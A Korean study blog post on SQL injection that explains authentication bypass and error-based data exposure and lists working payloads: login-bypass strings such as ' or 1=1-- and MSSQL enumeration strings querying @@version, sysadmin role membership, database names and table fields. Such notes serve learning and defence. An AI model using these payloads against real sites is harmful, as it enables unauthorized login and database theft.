티스토리 뷰

웹 공부/웹 해킹 공부

SQL Injection

HACKDUN 2019. 1. 14. 09:54

SQL Injection이란?

  1. SQL Injection이란 웹 해킹의 기법 중 하나임 (web application 단계에서 일어남)

  2. 웹 어플리케이션의 뒷단에 있는 데이터베이스에 쿼리를 보내는 과정 사이에 일반적인 값 외에 악의적인 의도를 갖는 구문을 삽입하여 공격자가 원하는 SQL 쿼리문을 실행하는 기법임

    SQL Injection 공격의 종류?

    1. 인증 우회
    2. 데이터 노출
    3. 원격명령 실행

인증 우회와 데이터 노출을 실습해볼것임



로그인 인증 우회란?

→ 웹 사이트에 회원가입 된 ID / PW 를 사용하는 것이 아닌 SQL query 를 입력하여 로그인을 우회함



정상적인 로그인 인증 과정


SQL query를 통한 비정상적 인증 과정

SQL Injection 우회 기법 1.select * from where id = ‘ ’ or ‘ ’ = ‘’ and pass = ‘ ’ or ‘ ’ = ‘ ’

2.select * from where id = ‘ ’ or 1 = 1—’ and pass = ‘ ’




  데이터 노출이란?

1.타겟 시스템의 주요 데이터 절취를 목적으로 하는 방식

2.시스템의 에러는 개발자에게 버그를 수정하는 면에서 많은 도움을 주지만 역으로 에러를 이용할 수 있음
    → (악의적인 구문을 삽입하여 에러를 유발)

  데이터 노출이 위험한 이유?
→ 해커는 GET 방식으로 동작하는 url에 추가적인 ‘query string’을 추가하여 에러를 발생시킬 수 있음.
이에 해당하는 오류가 나타난다면 그것을 가지고 데이터베이스의 구조를 유추할 수 있음.

그러므로 오류 메시지 또는 페이지가 노출되어서는 안됨

오류 메세지는 80040E14, 80040e07 두 가지가 제일 대표적임

  • DBMS 버전 확인

  • ☞ and 1=(select @@version)

  • 권한 확인 ☞ and 1=(IS_SRVROLEMEMBER(‘sysadmin’))

  • DB 계정 권한 확인 ☞ and 1=(IS_MEMBER(‘db_owner’))

  • DB 이름 확인 ☞ and 0<>db_name()

  • DB 사용자 확인 ☞ and user>0

  • DB 확인 ☞ and 1=(select name from master.dbo.sysdatabases where dbid=1)

  • DB Table 및 첫번째 Field 확인 ☞ ‘ having 1=1--

  • DB Table Field 확인 ☞ ‘ group by Table.1stField having 1=1--

  • DB Table Field Type 확인 ☞ ‘ union select sum(Field) from Table --


'웹 공부 > 웹 해킹 공부' 카테고리의 다른 글

LFI & RFI 취약점  (0) 2019.07.29
디렉토리 노출 취약점 (Directory Listing)  (0) 2019.07.24
파일 다운로드 취약점  (0) 2019.07.24
File Upload 공격, 웹쉘  (0) 2019.07.11
XSS 공격  (0) 2019.06.23
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday